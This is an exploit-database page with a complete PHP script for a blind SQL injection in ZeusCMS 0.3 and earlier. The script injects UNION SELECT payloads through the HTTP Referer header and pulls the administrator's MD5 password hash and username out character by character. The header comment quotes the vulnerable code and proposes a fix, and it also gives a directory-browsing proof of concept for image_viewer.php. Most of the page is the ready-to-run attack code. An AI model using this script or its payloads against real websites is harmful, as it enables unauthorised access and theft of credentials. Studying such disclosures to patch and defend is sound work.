Author

EgiX

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-2412

Category

web applications

Date add

27-12-2007

Platform

unsorted

=================================================
ZeusCMS <= 0.3 Remote Blind SQL Injection Exploit
=================================================


<?

/*
	-------------------------------------------------
	ZeusCMS <= 0.3 Remote Blind SQL Injection Exploit
	------------------------------------------------- 
	
	author...: EgiX
	
	link.....: http://www.zeuscms.gr/
	details..: works with magic_quotes_gpc = off (if magic quotes affects also $_SERVER array)

	[-] Blind SQL Injection in /index.php :

	129.	$blockedRefCheck=security::checkRef($_SERVER["HTTP_REFERER"]); <==
	130.	
	131.	if(@in_array($_SERVER['REMOTE_ADDR'],$blockedips) || $blockedRefCheck==TRUE){
	132.		include "html_files/denied.html";
	133.	}
	134.	else

	[-] checkRef() function defined in /security.php :

	130.	function checkref($ref){
	131.	  if($ref){
	132.		$res=eregi_replace("http://","",$ref);
	133.		include "dbase.php";
	134.		$table=$prefix."referers";
	135.		$res=$db->query("SELECT * FROM $table WHERE url like '%$ref%' AND status='BLOCKED'"); <==
	136.		if($res->numRows()>0){
	137.			return true;
	138.		}
	139.		else{
	140.			return false;
	141.		}
	142.		}else{
	143.      return false;
	144.    }

	an attacker can inject sql code through http referer header, that isn't properly checked...

	[*] Possible bug fix in /index.php :

	128.	$ref = security::safeGet($_SERVER["HTTP_REFERER"]);
	129.	$blockedRefCheck = security::checkRef($ref);

	[-] there is also a possible file system browsing through /image_viewer.php, p.o.c. :
	
	http://[host]/[path]/image_viewer.php?dir=/
*/

error_reporting(0);
ini_set("default_socket_timeout", 5);
set_time_limit(0);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
		sleep(1);
	}
	fputs($sock, $packet);
	$resp = "";
	while (!feof($sock)) $resp .= fread($sock, 1);
	fclose($sock);
	return $resp;
}

function check_query($sql)
{
	global $host, $path;
	
	$packet = "GET {$path} HTTP/1.1\r\n";
	$packet.= "Host: {$host}\r\n";
	$packet.= "Referer: {$sql} \r\n";
	$packet.= "Keep-Alive: 300\r\n";
	$packet.= "Connection: keep-alive\r\n\r\n";
	$html	= http_send($host, $packet);
	
	return (preg_match("/DENIED/", $html) ? true : false);
}

print "\n+-----------------------------------------------------------+";
print "\n| ZeusCMS <= 0.3 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+-----------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......:	php $argv[0] host path [prefix] [userid]\n";
	print "\nhost.......:	target server (ip/hostname)";
	print "\npath.......:	path to ZeusCMS directory (example: / or /zeuscms/)";
	print "\nprefix.....:	table's prefix (default: ze)";
	print "\nuserid.....:	user id (default: 1 - admin)\n";
	die();
}

$host = $argv[1];
$path = $argv[2];
$pre  = (isset($argv[3]) ? $argv[3] : "ze");
$uid  = (isset($argv[4]) ? $argv[4] : "1");

$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$index = 1; $md5 = "";
print "\n[-] MD5 Hash: ";

while (!strpos($md5, chr(0)))
{
	for ($i = 0; $i <= count($hash); $i++)
	{
  		if ($i == count($hash)) die("\n[-] Exploit failed...\n");

		$sql =	"%'/**/AND/**/id=-1/**/UNION/**/SELECT/**/pwd,1,1,1/**/FROM/**/{$pre}_users/**/" .
			"WHERE/**/id={$uid}/**/AND/**/ORD(SUBSTR(pwd,{$index},1))={$hash[$i]}/*";

		if (check_query($sql)) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; }
	}

	$index++;
}

$char = array(0); // null char
for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z
for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z
for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9

$index = 1; $user = "";
print "\n[-] Username: ";

while (!strpos($user, chr(0)))
{
	for ($i = 0; $i <= count($char); $i++)
	{
  		if ($i == count($char)) die("\n[-] Exploit failed...\n");

		$sql =	"%'/**/AND/**/id=-1/**/UNION/**/SELECT/**/nickname,1,1,1/**/FROM/**/{$pre}_users/**/" .
			"WHERE/**/id={$uid}/**/AND/**/ORD(SUBSTR(nickname,{$index},1))={$char[$i]}/*";

		if (check_query($sql)) { $user .= chr($char[$i]); print chr($char[$i]); break; }
	}

	$index++;
}

print "\n\n[-] Successfull!\n";

?>



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